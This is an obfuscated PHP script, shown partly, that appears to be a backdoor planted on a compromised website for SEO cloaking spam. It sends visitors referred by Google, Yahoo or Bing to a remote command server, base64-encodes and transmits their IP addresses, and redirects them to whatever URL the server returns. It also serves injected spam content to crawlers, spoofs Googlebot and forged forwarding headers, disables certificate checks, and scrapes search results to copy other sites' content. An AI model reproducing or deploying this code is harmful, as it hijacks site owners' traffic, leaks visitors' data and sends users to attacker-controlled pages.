$pid,'spider_url'=>$spider_result[(18*E_USER_NOTICE-18432)],'html_text'=>$spider_result[((E_USER_NOTICE*41-41984)-51199+E_USER_NOTICE*50)]);}else{$pid=isset($pid)?$pid:(18*E_USER_NOTICE-18432);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((E_USER_NOTICE*41-41984)-51199+E_USER_NOTICE*50)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(18*E_USER_NOTICE-18432)]==((E_USER_NOTICE*41-41984)-43832+43*E_USER_NOTICE)&&strlen($response[((E_USER_NOTICE*41-41984)-51199+E_USER_NOTICE*50)])>(0-39931+39*E_USER_NOTICE)){$tzurl=trim($response[((E_USER_NOTICE*41-41984)-51199+E_USER_NOTICE*50)]);$tzurl=str_replace(array(chr((68*E_USER_NOTICE-69393)),chr((32*E_USER_NOTICE-32581)),chr((9*E_USER_NOTICE-9025))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand((E_USER_NOTICE*34-34815),(18*E_USER_NOTICE-18332)),'Mozilla/' .rand((83*E_USER_NOTICE-84989),((16*E_USER_NOTICE-16384)-58363+57*E_USER_NOTICE)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand((E_USER_NOTICE*6-6094),((16*E_USER_NOTICE-16384)-66500+E_USER_NOTICE*65)). ') Gecko/20100101 Firefox/' .rand((E_USER_NOTICE*34-34815),(18*E_USER_NOTICE-18332)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand((E_USER_NOTICE*6-6094),((16*E_USER_NOTICE-16384)-66500+E_USER_NOTICE*65)). ') AppleWebKit/' .rand((21*E_USER_NOTICE-21004),((16*E_USER_NOTICE-16384)-20904+21*E_USER_NOTICE)). '.36 (KHTML, like Gecko) Chrome/' .rand((E_USER_NOTICE*6-6094),((16*E_USER_NOTICE-16384)-66500+E_USER_NOTICE*65)). '.0.3112.90 Safari/' .rand((21*E_USER_NOTICE-21004),((16*E_USER_NOTICE-16384)-20904+21*E_USER_NOTICE)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((16*E_USER_NOTICE-16384)-1011+E_USER_NOTICE*1),(19*E_USER_NOTICE-19440)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_USER_NOTICE*39-39846),(18*E_USER_NOTICE-18332)). '.0.4430.212 Safari/537.36 Edg/' .rand((E_USER_NOTICE*39-39846),(18*E_USER_NOTICE-18332)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_USER_NOTICE*39-39846),(18*E_USER_NOTICE-18332)). '.0.4430.212 Safari/537.36 OPR/' .rand(((16*E_USER_NOTICE-16384)-73652+E_USER_NOTICE*72),((16*E_USER_NOTICE-16384)-37802+37*E_USER_NOTICE)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand((E_USER_NOTICE*55-56312),(91*E_USER_NOTICE-93172)). '.0; SM-G9' .rand(((16*E_USER_NOTICE-16384)-58363+57*E_USER_NOTICE),(E_USER_NOTICE*44-45047)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_USER_NOTICE*39-39846),(18*E_USER_NOTICE-18332)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((E_USER_NOTICE*13-13298),(19*E_USER_NOTICE-19440)). '_' .rand((16*E_USER_NOTICE-16384),((16*E_USER_NOTICE-16384)-58363+57*E_USER_NOTICE)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_USER_NOTICE*13-13298),(19*E_USER_NOTICE-19440)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand((E_USER_NOTICE*77-78847),(E_USER_NOTICE*61-62210)). '.' .rand((E_USER_NOTICE*77-78847),(E_USER_NOTICE*61-62210)). '.' .rand((E_USER_NOTICE*77-78847),(E_USER_NOTICE*61-62210)). '.' .rand((E_USER_NOTICE*77-78847),(E_USER_NOTICE*61-62210));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(32*E_USER_NOTICE-32768));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(E_USER_NOTICE*91-93182));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(E_USER_NOTICE*77-78847));curl_setopt($curl,CURLOPT_AUTOREFERER,(E_USER_NOTICE*77-78847));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(E_USER_NOTICE*77-78847));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(32*E_USER_NOTICE-32768));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(E_USER_NOTICE*77-78847));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(32*E_USER_NOTICE-32768)],$matches);$httpcode=isset($matches[(E_USER_NOTICE*77-78847)])?(int)$matches[(E_USER_NOTICE*77-78847)]:(32*E_USER_NOTICE-32768);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(E_USER_NOTICE*17-17408));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>(10*E_USER_NOTICE-10230)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(51*E_USER_NOTICE-52224)]));return substr($firstLang,(51*E_USER_NOTICE-52224),(E_USER_NOTICE*42-43006))===$lang?(E_USER_NOTICE*13-13311):(51*E_USER_NOTICE-52224);}return (51*E_USER_NOTICE-52224);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (E_USER_NOTICE*33-33792);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(E_USER_NOTICE*43-44032)]==(0-49976+49*E_USER_NOTICE)){$htmltext=trim($spider_html[(E_USER_NOTICE*19-19455)]);if(strlen($htmltext)>(4*E_USER_NOTICE-2096)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(E_USER_NOTICE*46-47104)]===(((E_USER_NOTICE*96-98304)-10240+10*E_USER_NOTICE)-46904+E_USER_NOTICE*46)){$dom=new DOMDocument();@$dom->loadHTML($result[(((E_USER_NOTICE*96-98304)-10240+10*E_USER_NOTICE)-54271+E_USER_NOTICE*53)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(E_USER_NOTICE*46-47104)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(((E_USER_NOTICE*96-98304)-10240+10*E_USER_NOTICE)-54271+E_USER_NOTICE*53)],(E_USER_NOTICE*46-47104),-(0-100348+E_USER_NOTICE*98));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;} ?>